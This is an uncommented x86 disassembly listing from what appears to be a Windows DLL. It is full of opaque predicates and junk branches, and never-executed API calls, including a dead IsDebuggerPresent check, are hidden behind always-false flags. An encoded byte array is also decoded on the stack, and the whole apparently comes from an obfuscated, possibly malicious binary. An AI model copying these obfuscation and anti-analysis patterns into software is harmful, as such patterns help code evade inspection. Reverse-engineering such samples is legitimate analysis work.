mov eax, dword [ebp - 0x920]
cmp eax, dword [ebp - 0x1d4]
jg 0x1001724f
mov dword [ebp - 0x3cc], 1
jmp 0x10017256
and dword [ebp - 0x3cc], 0
push 0xfffffffffffffffc
pop eax
test eax, eax
jne 0x10017278
push 0
lea ecx, [ebp - 0xd14]
call fcn.100214c8
cmp dword [eax], 0
jne 0x10017278
and dword [ebp - 0x600], 0
jmp 0x10017282
mov dword [ebp - 0x600], 1
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x390]
call fcn.100214c8
mov ecx, dword [ebp - 0x3cc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x600]
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x2a0]
xor eax, eax
cmp eax, 0x6205a165
jne 0x100172c5
cmp dword [ebp - 0x2a0], 0
jne 0x100172c5
and dword [ebp - 0x818], 0
jmp 0x100172cf
mov dword [ebp - 0x818], 1
cmp dword [ebp - 0x818], 0xc451edc6
jae 0x100172e7
mov dword [ebp - 0x608], 1
jmp 0x100172ee
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp - 0x608], eax
jne 0x10017308
mov dword [ebp - 0x9a8], 1
jmp 0x1001730f
and dword [ebp - 0x9a8], 0
cmp dword [ebp - 0x9a8], 0
ja 0x10017324
mov dword [ebp - 0x610], 1
jmp 0x1001732b
and dword [ebp - 0x610], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x610], eax
jge 0x10017342
mov dword [ebp - 0x820], 1
jmp 0x10017349
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0x820]
add eax, 7
cmp eax, 1
je 0x10017363
mov dword [ebp - 0x618], 1
jmp 0x1001736a
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0xac8], eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xd14]
call fcn.100214a3
mov byte [ebp - 0x145], 0
movzx eax, byte [ebp - 0x145]
test eax, eax
je 0x100173a7
push 0x855
push 0x531
call dword [sym.imp.USER32.dll_GetWindow]
jmp 0x10016d56
mov dword [ebp - 0x2a0], 0xa5788241
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x390]
call fcn.100214a3
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0xa7c], 0
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x340], 0x710dd01
push 4
lea ecx, [ebp - 0x3a0]
call fcn.100213ce
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x1fc], 0x90412894
push 1
lea ecx, [ebp - 0x9e4]
call fcn.100213ce
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x90], 0
jmp 0x1001742c
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 4
jge 0x1001744e
push dword [ebp - 0x90]
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
mov dword [eax], 0xfffffffc
jmp 0x1001741f
mov dword [ebp - 0x90], 0
jmp 0x10017467
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x10017486
push dword [ebp - 0x90]
lea ecx, [ebp - 0x9e4]
call fcn.100214c8
and dword [eax], 0
jmp 0x1001745a
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xf14], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x340], eax
mov esi, dword [ebp - 0x340]
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
cmp esi, dword [eax]
jl 0x100174bb
mov dword [ebp - 0x928], 1
jmp 0x100174c2
and dword [ebp - 0x928], 0
push 1
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
mov ecx, dword [ebp - 0x928]
cmp ecx, dword [eax]
je 0x100174e5
mov dword [ebp - 0x620], 1
jmp 0x100174ec
and dword [ebp - 0x620], 0
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
mov ecx, dword [ebp - 0x620]
cmp ecx, dword [eax]
jg 0x1001750f
mov dword [ebp - 0x828], 1
jmp 0x10017516
and dword [ebp - 0x828], 0
push 3
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
mov ecx, dword [ebp - 0x828]
cmp ecx, dword [eax]
je 0x10017539
mov dword [ebp - 0x628], 1
jmp 0x10017540
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0x1fc], eax
mov esi, dword [ebp - 0x1fc]
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
cmp esi, dword [eax]
jg 0x1001756f
mov dword [ebp - 0xbf8], 1
jmp 0x10017576
and dword [ebp - 0xbf8], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xf1c], eax
push 0
lea ecx, [ebp - 0x9e4]
call fcn.100214c8
mov esi, eax
push 3
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
mov eax, dword [eax]
mov dword [esi], eax
push 0
lea ecx, [ebp - 0x9e4]
call fcn.100214c8
imul eax, dword [eax], 0xfffffffa
cmp eax, 0xffffffff
jg 0x100175c6
cmp dword [ebp - 0x60], 0
je 0x100175c6
mov dword [ebp - 0xa0c], 1
jmp 0x100175cd
and dword [ebp - 0xa0c], 0
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
mov ecx, dword [ebp - 0xa0c]
cmp ecx, dword [eax]
jg 0x100175f0
mov dword [ebp - 0x630], 1
jmp 0x100175f7
and dword [ebp - 0x630], 0
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
mov ecx, dword [ebp - 0x630]
imul ecx, dword [eax]
mov esi, dword [ebp - 0x60]
imul esi, ecx
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
cmp esi, dword [eax]
jge 0x10017630
mov dword [ebp - 0x830], 1
jmp 0x10017637
and dword [ebp - 0x830], 0
cmp dword [ebp - 0x830], 1
jae 0x1001764c
mov dword [ebp - 0xad0], 1
jmp 0x10017653
and dword [ebp - 0xad0], 0
push 3
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
cmp dword [eax], 0
je 0x10017683
push 0
lea ecx, [ebp - 0x9e4]
call fcn.100214c8
cmp dword [eax], 0
je 0x10017683
mov dword [ebp - 0x638], 1
jmp 0x1001768a
and dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x60], eax
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
cmp dword [eax], 0
je 0x100176ba
cmp dword [ebp - 0x1fc], 0
je 0x100176ba
mov dword [ebp - 0x930], 1
jmp 0x100176c1
and dword [ebp - 0x930], 0
push 0
lea ecx, [ebp - 0x9e4]
call fcn.100214c8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x930]
jl 0x100176e4
mov dword [ebp - 0x840], 1
jmp 0x100176eb
and dword [ebp - 0x840], 0
push 0
lea ecx, [ebp - 0x9e4]
call fcn.100214c8
cmp dword [eax], 0
je 0x100177d9
cmp dword [ebp - 0x1fc], 1
jge 0x10017716
mov dword [ebp - 0x640], 1
jmp 0x1001771d
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x640]
mov dword [ebp - 0x340], eax
mov esi, dword [ebp - 0x340]
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100214c8
cmp esi, dword [eax]
jge 0x1001774c
mov dword [ebp - 0x838], 1
jmp 0x10017753
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x838], eax
jne 0x1001776a
mov dword [ebp - 0x648], 1
jmp 0x10017771
and dword [ebp - 0x648], 0
cmp dword [ebp - 0x648], 0
ja 0x10017786
mov dword [ebp - 0x9b0], 1
jmp 0x1001778d
and dword [ebp - 0x9b0], 0
mov eax, dword [ebp - 0x9b0]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x100177ab
cmp dword [ebp - 0x60], 0
jne 0x100177ab
and dword [ebp - 0x650], 0
jmp 0x100177b5
mov dword [ebp - 0x650], 1
mov eax, dword [ebp - 0x650]
sub eax, dword [ebp - 0x1fc]
sub eax, 4
jne 0x100177cd
push 6
pop eax
test eax, eax
je 0x100177d9
mov dword [ebp - 0x658], 1
jmp 0x100177e0
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x840]
cmp eax, dword [ebp - 0x658]
jge 0x100177fa
mov dword [ebp - 0x938], 1
jmp 0x10017801
and dword [ebp - 0x938], 0
push 0
lea ecx, [ebp - 0x9e4]
call fcn.100214c8
mov ecx, dword [ebp - 0x938]
mov dword [eax], ecx
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x9e4]
call fcn.100214a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3a0]
call fcn.100214a3
lea eax, [ebp - 0xa7c]
push eax
lea ecx, [ebp - 0x1204]
call fcn.10021322
mov dword [ebp - 0xca0], eax
mov eax, dword [ebp - 0xca0]
mov dword [ebp - 0xad8], eax
mov dword [ebp - 4], 0x12
mov edx, dword [ebp - 0x53c]
mov ecx, dword [ebp - 0xad8]
call fcn.1000a3b8
mov dword [0x1060f850], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1204]
call fcn.10021351
push 1
lea ecx, [ebp - 0xfa4]
call fcn.100213ce
mov dword [ebp - 4], 0x13
push 4
lea ecx, [ebp - 0xdcc]
call fcn.100213ce
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x848], 0x23edb395
mov dword [ebp - 0x8c], 0
jmp 0x100178cc
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 1
jge 0x100178eb
push dword [ebp - 0x8c]
lea ecx, [ebp - 0xfa4]
call fcn.100214c8
or dword [eax], 0xffffffff
jmp 0x100178bf
mov dword [ebp - 0x8c], 0
jmp 0x10017904
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 4
jge 0x10017926
push dword [ebp - 0x8c]
lea ecx, [ebp - 0xdcc]
call fcn.100214c8
mov dword [eax], 0xdb821342
jmp 0x100178f7
push 3
lea ecx, [ebp - 0xdcc]
call fcn.100214c8
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x660]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x660]
mov dword [ecx], eax
mov eax, dword [ebp - 0x848]
inc eax
mov dword [ebp - 0x848], eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xdcc]
call fcn.100214a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfa4]
call fcn.100214a3
and dword [ebp - 0x2a8], 0
jmp 0x1001798b
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0xe
jae 0x100179a4
mov eax, dword [ebp - 0x2a8]
mov byte [ebp + eax - 0xa7c], 0
jmp 0x1001797e
mov dword [ebp - 0x114], 0
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x114], 0xfffffffa
jmp 0x100179d4
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x15
jg 0x10017a11
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x10017a04
push 0x20f
push 0x15be
push 0x560
call dword [sym.imp.USER32.dll_SetWindowLongW]
cmp dword [ebp - 0x114], 0
je 0x10017a0f
jmp 0x10017a11
jmp 0x100179c7
mov dword [ebp - 0x348], 0xffffffff
mov dword [ebp - 0xb4c], 0
mov dword [ebp - 0x348], 0
jmp 0x10017a3e
mov eax, dword [ebp - 0x348]
dec eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0xffffffe9
jg 0x10017aa2
mov dword [ebp - 0xe78], 0xce1e2c0d
mov dword [ebp - 0xe74], 0xce1e2c0d
mov dword [ebp - 0xe70], 0xce1e2c0d
mov dword [ebp - 0xe6c], 0xce1e2c0d
mov byte [ebp - 0xd9], 0
movzx eax, byte [ebp - 0xd9]
test eax, eax
je 0x10017a8e
push 0
push 0x21fc
call dword [sym.imp.USER32.dll_GetWindowPlacement]
mov eax, dword [ebp - 0xb4c]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xe78], eax
jmp 0x10017a31
mov byte [ebp - 0x244], 0xd
mov byte [ebp - 0x243], 0x88
mov byte [ebp - 0x242], 8
mov byte [ebp - 0x241], 0x38
mov byte [ebp - 0x240], 7
mov byte [ebp - 0x23f], 0x1d
mov byte [ebp - 0x23e], 0xa
mov byte [ebp - 0x23d], 0x17
mov byte [ebp - 0x23c], 3
mov byte [ebp - 0x23b], 4
mov byte [ebp - 0x23a], 5
mov byte [ebp - 0x239], 4
mov byte [ebp - 0x238], 9
mov byte [ebp - 0x237], 6
mov byte [ebp - 0x236], 2
mov byte [ebp - 0x235], 6
mov byte [ebp - 0x234], 0xc
mov byte [ebp - 0x233], 0x16
mov byte [ebp - 0x232], 0
mov byte [ebp - 0x231], 0x30
mov byte [ebp - 0x230], 1
mov byte [ebp - 0x22f], 0x31
mov byte [ebp - 0x22e], 4
mov byte [ebp - 0x22d], 6
mov byte [ebp - 0x22c], 0xb
mov byte [ebp - 0x22b], 7
mov byte [ebp - 0x22a], 6
mov byte [ebp - 0x229], 0x23
mov byte [ebp - 0x228], 2
mov byte [ebp - 0x227], 0xb2
mov byte [ebp - 0x226], 0x24
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x244]
and eax, 0xdf
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x244]
or ecx, 0xdf
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x244]
mov byte [ebp + eax - 0xcb8], cl
mov dword [ebp - 0x6c], 1
mov dword [ebp - 0xae0], 8
mov dword [ebp - 0xf24], 0x7cf2e566
mov dword [ebp - 0x6c], 0
jmp 0x10017be4
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0xfffffffe
jne 0x10017bf5
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xae0], eax
jmp 0x10017bdd
mov dword [ebp - 0x6c], 0xfffffff6
jmp 0x10017c05
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0xfffffff8
jl 0x10017c3e
mov byte [ebp - 0x167], 0
movzx eax, byte [ebp - 0x167]
test eax, eax
je 0x10017c3c
push 0
push 0
push 0x2094
push 0
push 0x1da0
push 0
push 0
push 0x15ae
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x10017bfe
mov dword [ebp - 0x4c], 2
and dword [ebp - 0x358], 0
jmp 0x10017c56
cmp dword [ebp - 0x4c], 0x1f
jae 0x10018b51
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x244]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x4c], eax
jne 0x100189f0
mov dword [ebp - 0x12c], 0x8bea
push 4
lea ecx, [ebp - 0xc34]
call fcn.100213ce
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x1000], 0xb1b0cadf
mov dword [ebp - 0x8d0], 8
mov dword [ebp - 0xba4], 2
mov dword [ebp - 0xb3c], 0xc65b0b56
mov dword [ebp - 0x534], 0x68729207
mov dword [ebp - 0x1020], 0x653e3f36
mov dword [ebp - 0x454], 0xf0adc109
mov dword [ebp - 0xfb8], 0xfffffffa
mov dword [ebp - 0x370], 3
mov dword [ebp - 0xd80], 1
mov dword [ebp - 0xd7c], 1
mov dword [ebp - 0xd78], 1
mov dword [ebp - 0xd74], 1
lea ecx, [ebp - 0x415]
call fcn.100214d7
push eax
lea eax, [ebp - 0xd70]
push eax
lea eax, [ebp - 0xd80]
push eax
lea ecx, [ebp - 0x1130]
call fcn.100215bd
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x10f8]
call fcn.1002147d
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0xcc8], 1
mov dword [ebp - 0xcc4], 1
mov dword [ebp - 0xcc0], 1
mov dword [ebp - 0xcbc], 1
push 1
lea ecx, [ebp - 0xdf0]
call fcn.100213ce
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x524], 0x6fc9e278
mov dword [ebp - 0xb8c], 0x98492e76
mov dword [ebp - 0x9d8], 0x45007435
mov dword [ebp - 0x424], 2
mov dword [ebp - 0x3c], 0
jmp 0x10018c9b
mov dword [ebp - 0x68], 0xea5d6c05
push 4
lea ecx, [ebp - 0xe38]
call fcn.100213ce
mov dword [ebp - 4], 0x24
mov dword [ebp - 0x34c], 0
jmp 0x10019973
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 4
jge 0x10019995
push dword [ebp - 0x34c]
lea ecx, [ebp - 0xe38]
call fcn.100214c8
mov dword [eax], 2
jmp 0x10019966
mov dword [ebp - 0x68], 0xffffffe4
jmp 0x100199a5
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 5
jle 0x10019ba9
mov dword [ebp - 0x13c], 5
mov dword [ebp - 0xb68], 0x2530a9bc
mov dword [ebp - 0x304], 0
jmp 0x100199dc
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 1
jge 0x100199f8
mov eax, dword [ebp - 0x304]
mov dword [ebp + eax*4 - 0x594], 6
jmp 0x100199cf
mov dword [ebp - 0x13c], 0
jmp 0x10019a11
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jg 0x10019ba4
mov dword [ebp - 0x374], 0
mov dword [ebp - 0xb70], 0x42be197e
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0xea8], eax
mov eax, 0x23a266d2
sub eax, dword [ebp - 0x374]
je 0x10019a8a
cmp dword [ebp - 0x13c], 1
ja 0x10019a66
cmp dword [ebp - 0x13c], 0
jne 0x10019a66
and dword [ebp - 0x58c], 0
jmp 0x10019a70
mov dword [ebp - 0x58c], 1
mov eax, dword [ebp - 0xb68]
cmp dword [ebp - 0x58c], eax
je 0x10019a8a
mov dword [ebp - 0xc98], 1
jmp 0x10019a91
and dword [ebp - 0xc98], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x594]
mov dword [ebp - 0x59c], eax
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x59c]
mov dword [ebp + eax*4 - 0x594], ecx
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x59c], eax
jg 0x10019ace
mov dword [ebp - 0x5a4], 1
jmp 0x10019ad5
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x5a4], eax
jg 0x10019aec
mov dword [ebp - 0x5ac], 1
jmp 0x10019af3
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x5ac], eax
jge 0x10019b0a
mov dword [ebp - 0x5b4], 1
jmp 0x10019b11
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x5b4]
mov dword [ebp - 0xb70], eax
cmp dword [ebp - 0x68], 0xe6a4137d
jbe 0x10019b38
cmp dword [ebp - 0x374], 0
jne 0x10019b38
and dword [ebp - 0x5bc], 0
jmp 0x10019b42
mov dword [ebp - 0x5bc], 1
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0x5bc], eax
jl 0x10019b5c
mov dword [ebp - 0x5c4], 1
jmp 0x10019b63
and dword [ebp - 0x5c4], 0
imul eax, dword [ebp - 0x5c4], 0xa8c9
mov ecx, dword [ebp - 0x68]
sub ecx, dword [ebp - 0x68]
cmp ecx, eax
jl 0x10019b83
mov dword [ebp - 0x5cc], 1
jmp 0x10019b8a
and dword [ebp - 0x5cc], 0
push 3
lea ecx, [ebp - 0xe38]
call fcn.100214c8
mov ecx, dword [ebp - 0x5cc]
mov dword [eax], ecx
jmp 0x10019a04
jmp 0x1001999e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe38]
call fcn.100214a3
mov eax, dword [0x1060f850]
cmp eax, dword [ebp - 0x29c]
je 0x10019bd6
mov eax, dword [0x1060f8e0]
cmp eax, dword [ebp - 0x29c]
jne 0x1001a06c
mov dword [ebp - 0x34], 0xfffffff8
push 1
lea ecx, [ebp - 0x3b0]
call fcn.100213ce
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x50], 0x6255d580
mov dword [ebp - 0x30c], 0
jmp 0x10019c11
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 1
jge 0x10019c33
push dword [ebp - 0x30c]
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
mov dword [eax], 6
jmp 0x10019c04
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0
jmp 0x10019c4a
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jg 0x1001a045
mov dword [ebp - 0x70], 0x9609c3fb
mov dword [ebp - 0x5fc], 0xfffffffa
mov dword [ebp - 0x444], 0xc3b03c3f
mov dword [ebp - 0x70], 0
jmp 0x10019c7f
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jl 0x1001a017
mov dword [ebp - 0x5e4], 1
mov byte [ebp - 0x155], 0
movzx eax, byte [ebp - 0x155]
test eax, eax
je 0x10019cab
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jl 0x10019cdb
mov eax, 0xfffc
test eax, eax
jne 0x10019cdb
push 0
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
cmp dword [eax], 0
jne 0x10019cdb
and dword [ebp - 0x5d4], 0
jmp 0x10019ce5
mov dword [ebp - 0x5d4], 1
push dword [ebp - 0x34]
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
mov ecx, dword [ebp - 0x5d4]
cmp ecx, dword [eax]
je 0x10019d09
mov dword [ebp - 0x5dc], 1
jmp 0x10019d10
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x5dc]
mov dword [ebp - 0x5e4], eax
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0x34]
jg 0x10019d33
mov dword [ebp - 0x5ec], 1
jmp 0x10019d3a
and dword [ebp - 0x5ec], 0
mov esi, dword [ebp - 0x5ec]
sub esi, dword [ebp - 0x70]
push dword [ebp - 0x34]
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
cmp esi, dword [eax]
jge 0x10019d61
mov dword [ebp - 0x5f4], 1
jmp 0x10019d68
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x5f4]
mov dword [ebp - 0x5fc], eax
mov eax, dword [ebp - 0x5fc]
cmp eax, dword [ebp - 0x70]
je 0x10019d8b
mov dword [ebp - 0x604], 1
jmp 0x10019d92
and dword [ebp - 0x604], 0
push dword [ebp - 0x34]
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x604]
jge 0x10019db6
mov dword [ebp - 0x60c], 1
jmp 0x10019dbd
and dword [ebp - 0x60c], 0
push 0
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
mov ecx, dword [ebp - 0x60c]
cmp ecx, dword [eax]
jg 0x10019de0
mov dword [ebp - 0x614], 1
jmp 0x10019de7
and dword [ebp - 0x614], 0
cmp dword [ebp - 0x614], 0xffffffff
je 0x10019dfc
mov dword [ebp - 0x61c], 1
jmp 0x10019e03
and dword [ebp - 0x61c], 0
push dword [ebp - 0x34]
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x1080], eax
cmp dword [ebp - 0x444], 0
je 0x10019e50
push 0
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
cmp dword [eax], 0
je 0x10019e50
mov dword [ebp - 0x624], 1
jmp 0x10019e57
and dword [ebp - 0x624], 0
push dword [ebp - 0x34]
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
mov ecx, dword [ebp - 0x624]
cmp ecx, dword [eax]
jl 0x10019e7b
mov dword [ebp - 0x62c], 1
jmp 0x10019e82
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x62c], eax
jge 0x10019e99
mov dword [ebp - 0xc10], 1
jmp 0x10019ea0
and dword [ebp - 0xc10], 0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xeb0], eax
push dword [ebp - 0x34]
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
cmp dword [eax], 0
je 0x10019ed1
mov eax, 0x4f9a
test eax, eax
je 0x10019ed1
mov dword [ebp - 0x634], 1
jmp 0x10019ed8
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x634], eax
jne 0x10019ef4
xor eax, eax
inc eax
je 0x10019ef4
mov dword [ebp - 0x63c], 1
jmp 0x10019efb
and dword [ebp - 0x63c], 0
push dword [ebp - 0x34]
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
mov ecx, dword [ebp - 0x63c]
cmp ecx, dword [eax]
jle 0x10019f1f
mov dword [ebp - 0x644], 1
jmp 0x10019f26
and dword [ebp - 0x644], 0
cmp dword [ebp - 0x644], 0xcd21
je 0x10019f3e
mov dword [ebp - 0x64c], 1
jmp 0x10019f45
and dword [ebp - 0x64c], 0
cmp dword [ebp - 0x64c], 0xcf3e4c99
jae 0x10019f5d
mov dword [ebp - 0x654], 1
jmp 0x10019f64
and dword [ebp - 0x654], 0
cmp dword [ebp - 0x654], 0xfffffffa
je 0x10019f79
mov dword [ebp - 0x65c], 1
jmp 0x10019f80
and dword [ebp - 0x65c], 0
cmp dword [ebp - 0x65c], 0xf9aa2aa
jl 0x10019fd7
mov dword [ebp - 0x50], 0
jmp 0x10019f9c
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x10019fb8
push dword [ebp - 0x50]
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
mov dword [eax], 0x402
jmp 0x10019f95
mov byte [ebp - 0xcd], 0
movzx eax, byte [ebp - 0xcd]
test eax, eax
je 0x10019fd5
push 0x13a0
call dword [sym.imp.USER32.dll_SetFocus]
jmp 0x1001a012
mov byte [ebp - 0xfd], 0
movzx eax, byte [ebp - 0xfd]
test eax, eax
je 0x10019ff8
push 0
push 0xf9e
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
mov byte [ebp - 0xcf], 0
movzx eax, byte [ebp - 0xcf]
test eax, eax
je 0x1001a012
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
jmp 0x10019c78
mov dword [ebp - 0x50], 0
jmp 0x1001a027
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x1001a040
push dword [ebp - 0x50]
lea ecx, [ebp - 0x3b0]
call fcn.100214c8
and dword [eax], 0
jmp 0x1001a020
jmp 0x10019c43
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3b0]
call fcn.100214a3
mov ecx, dword [ebp + 0xc]
call fcn.10021159
push eax
push dword [ebp + 8]
call fcn.1000f5e2
pop ecx
pop ecx
jmp 0x1001cd2b
mov eax, dword [ebp + 8]
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0xbc], 0xfd54
push 2
lea ecx, [ebp - 0xe68]
call fcn.100213ce
mov dword [ebp - 4], 0x26
mov dword [ebp - 0x404], 0xba966896
mov dword [ebp - 0x314], 1
push 4
lea ecx, [ebp - 0xe50]
call fcn.100213ce
mov byte [ebp - 4], 0x27
mov dword [ebp - 0x69c], 0x66ba0539
mov dword [ebp - 0x38], 0
jmp 0x1001a0d2
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x1001a0ee
push dword [ebp - 0x38]
lea ecx, [ebp - 0xe68]
call fcn.100214c8
mov dword [eax], 0xdfcf09cc
jmp 0x1001a0cb
mov dword [ebp - 0x38], 0
jmp 0x1001a0fe
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1001a114
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xc44], 0xfffffffe
jmp 0x1001a0f7
mov dword [ebp - 0x38], 0
jmp 0x1001a124
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x1001a13d
push dword [ebp - 0x38]
lea ecx, [ebp - 0xe50]
call fcn.100214c8
or dword [eax], 0xffffffff
jmp 0x1001a11d
cmp dword [ebp - 0xbc], 0
je 0x1001a172
mov dword [ebp - 0xb78], 0xfffffffc
mov dword [ebp - 0xc88], 0xa6b950ba
mov eax, dword [ebp - 0xbc]
imul eax, dword [ebp - 0xb78]
mov dword [ebp - 0xc88], eax
jmp 0x1001a4ab
mov dword [ebp - 0x194], 0xd924
mov dword [ebp - 0x3a4], 0x380d33b9
mov dword [ebp - 0xb88], 0xd46409ef
